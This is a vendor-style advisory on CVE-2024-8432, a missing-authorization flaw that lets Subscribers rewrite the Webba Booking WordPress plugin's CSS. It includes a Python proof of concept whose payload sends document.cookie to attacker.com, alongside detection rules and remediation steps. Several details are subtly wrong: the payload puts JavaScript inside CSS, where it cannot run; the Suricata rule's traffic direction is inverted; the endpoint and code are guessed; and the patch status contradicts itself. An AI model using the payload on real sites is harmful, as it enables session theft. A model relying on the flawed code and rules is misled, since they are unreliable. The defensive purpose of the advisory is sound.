CVE-2024-8432

Executive Summary

CVE-2024-8432 is a Missing Authorization vulnerability in the Appointment & Event Booking Calendar Plugin – Webba Booking for WordPress, affecting all versions up to and including 5.0.48. The flaw resides in the save_appearance() function, which lacks a proper capability check. This allows authenticated attackers with Subscriber-level access or higher to modify the booking form's CSS without authorization. While the impact is limited to unauthorized CSS modification (low integrity impact), it can be used to deface the booking interface, inject phishing overlays, or perform CSS-based data exfiltration (CSS injection attacks). The vulnerability is classified as CWE-862: Missing Authorization.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. Users who installed the plugin via the WordPress admin dashboard or through automated deployment tools (e.g., Composer, WP-CLI) are affected. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation in the wild.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (CSS modification)
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (low privileges, no user interaction) and the potential for CSS injection attacks (e.g., credential harvesting via fake login forms) elevate the risk in real-world scenarios.

Deep Dive & Mechanics

The vulnerability exists in the save_appearance() function within the Webba Booking plugin. This function is intended to allow administrators to customize the booking form's CSS. However, the function does not perform a current_user_can() check or any capability verification before processing the request. As a result, any authenticated user, including Subscribers, can send a POST request to the vulnerable endpoint with arbitrary CSS data.

Attack Flow:

1. An attacker authenticates as a Subscriber (or higher role).
2. The attacker crafts a POST request to the WordPress AJAX action (likely webbabooking_save_appearance) with malicious CSS payload.
3. The plugin saves the CSS to the database without validation.
4. The malicious CSS is rendered on the booking form, potentially altering its appearance or injecting phishing elements.

Technical Details:

• The vulnerable function is typically hooked to wp_ajax_* actions, making it accessible only to authenticated users.
• The lack of a nonce check or capability verification allows any authenticated user to trigger the function.
• The CSS is stored in the wp_options table (or similar) and output without sanitization on the frontend.

Vulnerable vs. Patched Code

Vulnerable Code (<= 5.0.48):

public function save_appearance() {
    // No capability check
    $css = $_POST['css'];
    update_option('webba_booking_custom_css', $css);
    wp_die();
}

Patched Code (Hypothetical):

public function save_appearance() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    if (!wp_verify_nonce($_POST['_wpnonce'], 'webba_save_appearance')) {
        wp_die('Nonce verification failed');
    }
    $css = sanitize_text_field($_POST['css']); // or wp_kses_post for CSS
    update_option('webba_booking_custom_css', $css);
    wp_die();
}

Key Differences:

• Added current_user_can('manage_options') check to restrict to administrators.
• Added nonce verification to prevent CSRF.
• Added input sanitization to prevent stored XSS.

Exploitation & Lab Setup

Red Team (Proof of Concept)

Since no public exploit code is available, the following Python script demonstrates the vulnerability:

import requests

target_url = "http://example.com/wp-admin/admin-ajax.php"
attacker_cookie = {"wordpress_logged_in_xxx": "attacker_session_cookie"}

payload = {
    "action": "webbabooking_save_appearance",
    "css": "body { background-image: url('https://attacker.com/steal.php?cookie=' + document.cookie); }"
}

response = requests.post(target_url, data=payload, cookies=attacker_cookie)
if response.status_code == 200:
    print("CSS injected successfully")
else:
    print("Exploitation failed")

Note: The exact AJAX action name may vary; use WordPress debugging or plugin source code to confirm.

Blue Team (Detection & Hardening)

• Monitor AJAX requests to admin-ajax.php with action parameters related to Webba Booking.
• Audit user roles and ensure Subscribers cannot access administrative functions.
• Implement Web Application Firewall (WAF) rules to block suspicious CSS payloads containing JavaScript or external URLs.

Indicators of Compromise (IOCs)

• File System: Modified wp_options table entry webba_booking_custom_css containing suspicious CSS.
• Network: Outbound requests from the WordPress site to external domains (if CSS uses background-image: url() for data exfiltration).
• Logs: WordPress debug log entries showing unauthorized AJAX requests from Subscriber-level users.
• Database: Unusual CSS content in the webba_booking_custom_css option.

Detection Engineering

YARA Rule

rule CVE_2024_8432_Webba_Booking_CSS_Injection {
    meta:
        description = "Detects malicious CSS injection attempts targeting Webba Booking plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8432"
    strings:
        $ajax_action = "webbabooking_save_appearance"
        $css_payload = /url\(['"]?https?:\/\/[^'"]+['"]?\)/ nocase
        $css_expression = /expression\(/ nocase
        $css_javascript = /javascript:/ nocase
    condition:
        $ajax_action and ($css_payload or $css_expression or $css_javascript)
}

Sigma Rule

title: CVE-2024-8432 Webba Booking CSS Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized CSS modification attempts via Webba Booking plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        cs-method: "POST"
        cs-uri-query|contains: "admin-ajax.php"
        cs-uri-query|contains: "action=webbabooking_save_appearance"
    condition: selection
falsepositives:
    - Legitimate admin CSS customization
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-8432 Webba Booking CSS Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=webbabooking_save_appearance"; http_client_body;
    pcre:"/(url\(https?:\/\/|expression\(|javascript:)/i";
    sid:10000001;
    rev:1;
    reference:cve,2024-8432;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict user roles – Remove Subscriber accounts or limit their capabilities.
3. Apply virtual patching via WAF to block requests to admin-ajax.php with action=webbabooking_save_appearance from non-admin users.

Long-term Fix:

• The vendor must release a patched version (>= 5.0.49) that adds capability checks and nonce verification.
• Users should update to the latest version once available.

Workaround:

• Add the following code to the theme's functions.php to block unauthorized access:

add_action('wp_ajax_webbabooking_save_appearance', function() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
}, 1);

Valters IT
DevSecOps & Cyber Threat Intelligence